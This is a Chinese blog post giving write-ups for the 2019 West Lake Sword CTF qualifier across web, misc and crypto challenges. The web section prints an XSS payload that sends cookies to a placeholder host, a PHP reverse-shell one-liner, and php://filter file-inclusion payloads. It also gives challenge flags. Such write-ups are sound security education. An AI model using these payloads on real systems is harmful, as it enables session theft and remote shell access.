Virtua1's blog

西湖论剑线上选拔赛部分WP

字数统计: 965阅读时长: 4 min
2019/04/08 Share

前言

赛后复现写的wp,没有环境了,大体总结下思路。
每次比赛都是一次被虐+学习的过程。
膜拜师傅们了XD.

WEB

1、猜猜flag是什么

知识点:

源码泄露、已知明文攻击、php随机数爆破

思路:

首先扫描源码,发现.DS_Store源码泄露,拿到另一个路径:

http://ctf2.linkedbyx.com:10522/e10adc3949ba59abbe56e057f20f883e/
扫描发现新路径下存在.git源码泄露,利用脚本恢复后,会得到加密的压缩包,还有一张图片和index.php,已知明文攻击。

压缩文件的时候要用好压或者在Mac OS 下压缩,不然没法攻击,因为压缩算法不同无法攻击。
利用明文攻击得到hint:

根据前期的信息收集访问:
http://ctf1.linkedbyx.com:10172/?name=yingyingying&code=9faedd5999937171912159d28b219d86
给出了code的值,利用bp进行进行传参,就会得到一个code:

猜测这个code就是随机数,利用随机数爆破工具php_mt_seed爆破种子,就会爆破得到种子

1
./php_mt_seed {code}

得到种子之后然后访问flag/{种子}.txt..得到flag:flag{0730b6193000e9334b12cf7c95fbc736}

2、Breakout

知识点:

XSS绕过、命令执行

思路:

先使用弱口令admin/admin登陆成功,也可以先注册然后登陆。
登陆后浏览下网站功能,发现存在exec可以执行命令,根据提示只有管理员才可以执行命令。

fuzz发现留言处存在XSS,思路是利用XSS获取cookie,然后执行命令。

1
< img src=x onerror
2
="var img = new Image();img.src='http://xx/?c='+document.cookie;">

onerror后换行即可绕过过滤。
提交连接给report ,查日志就得到admin的cookie:

admin=admin_!@@!_admin_admin_hhhhh
拿到cookie,登陆admin,在exec.php下执行命令就可以了。
payload:

1
php -r '$sock=fsockopen("x.x.x.x",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

ps:第一次接触XSS的题目,膜一波618师傅,tql.

3、babyt3

知识点:

文件包含、目录遍历

思路:

文件包含绕过的题目关键代码:
先利用伪协议读取源码:

1
?file=php://filter/convert.base64-encode/resource=index.php

得到源码:

1
<?php
2
$a = @$_GET['file'];
3
if (!$a) {
4
 $a = './templates/index.html';
5
}
6
echo 'include $_GET[\'file\']';
7
if (strpos('flag',$a)!==false) {
8
 die('nonono');
9
}
10
include $a;
11
?>
12
13
14
<!--hint: ZGlyLnBocA== -->

hint为dir.php 伪协议读取得到:

1
<?php
2
 $a = @$_GET['dir'];
3
 if(!$a){
4
 $a = '/tmp';
5
 }
6
 var_dump(scandir($a));

这样就可以目录遍历,列下文件:

再利用伪协议读取文件:

1
?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4

就可以读到flag。

4、blog

梅子酒师傅wp写的:

原题:https://ctftime.org/writeup/10369
同年Google CTF另外的几个题目:https://otakekumi.github.io/2018/07/04/GoogleCTF-2018-Writeup-JsSafe-Translate-catChat-gCalc/

MISC

1、TTL隐藏数据

脚本:

1
import re
2
def get():
3
    f = open(r'ttl.txt', 'r')
4
    a = f.readlines()
5
    strings = ''    
6
    for i in a:
7
        i = re.findall('=(.*?)\n', i)[0]
8
        i = str(bin(int(i)))
9
        if len(i) == 8:
10
            s = '00'
11
        if len(i) == 9:
12
            s = '01'
13
        if len(i) == 10:
14
            s = i[2:4]
15
        strings += s
16
    return strings
17
strings=get()
18
newstring = ''
19
for i in range(0, len(strings), 8):
20
    strs = int(strings[i:i+8], 2)
21
    newstring += chr(strs)
22
data = re.findall(r'(ffd8.*?ffd9)', newstring)
23
for i in range(len(data)):
24
    with open(str(i)+'.jpg','wb') as f:
25
        f.write(data[i].decode('hex'))

得到碎的二维码,拼接起来


得到密文和密钥,Vigenere解密前面是Flag,最后改为ee。

2、BFS算法

最短路径问题,找两者联系的最短路径就可以了
直接肉眼加手撕可以出来。。
利用python3的基本库:

1
import networkx as s
2
maps=[位置]
3
G = s.Graph()
4
G.add_edges_from(maps)
5
try:
6
	n=s.shortest_path(G,"flag{","75D}")
7
	print (n)
8
except s.networkXNopath:
9
	print ("no path")

flag:flag{E3EvelynJeffersonE9FloraPrice75D}

CRPTO

1、哈夫曼编码

哈夫曼编码 二叉树问题
学习了一波哈夫曼编码的知识手画就可以了。得到flag:
flag{ddf5dfd0f05550500a5af55dd0d5d0ad}
也可以利用网上的C脚本

CATALOG
  1. 1. 前言
  2. 2. WEB
    1. 2.1. 1、猜猜flag是什么
      1. 2.1.1. 知识点:
      2. 2.1.2. 思路:
    2. 2.2. 2、Breakout
      1. 2.2.1. 知识点:
      2. 2.2.2. 思路:
    3. 2.3. 3、babyt3
      1. 2.3.1. 知识点:
      2. 2.3.2. 思路:
    4. 2.4. 4、blog
  3. 3. MISC
    1. 3.1. 1、TTL隐藏数据
    2. 3.2. 2、BFS算法
  4. 4. CRPTO
    1. 4.1. 1、哈夫曼编码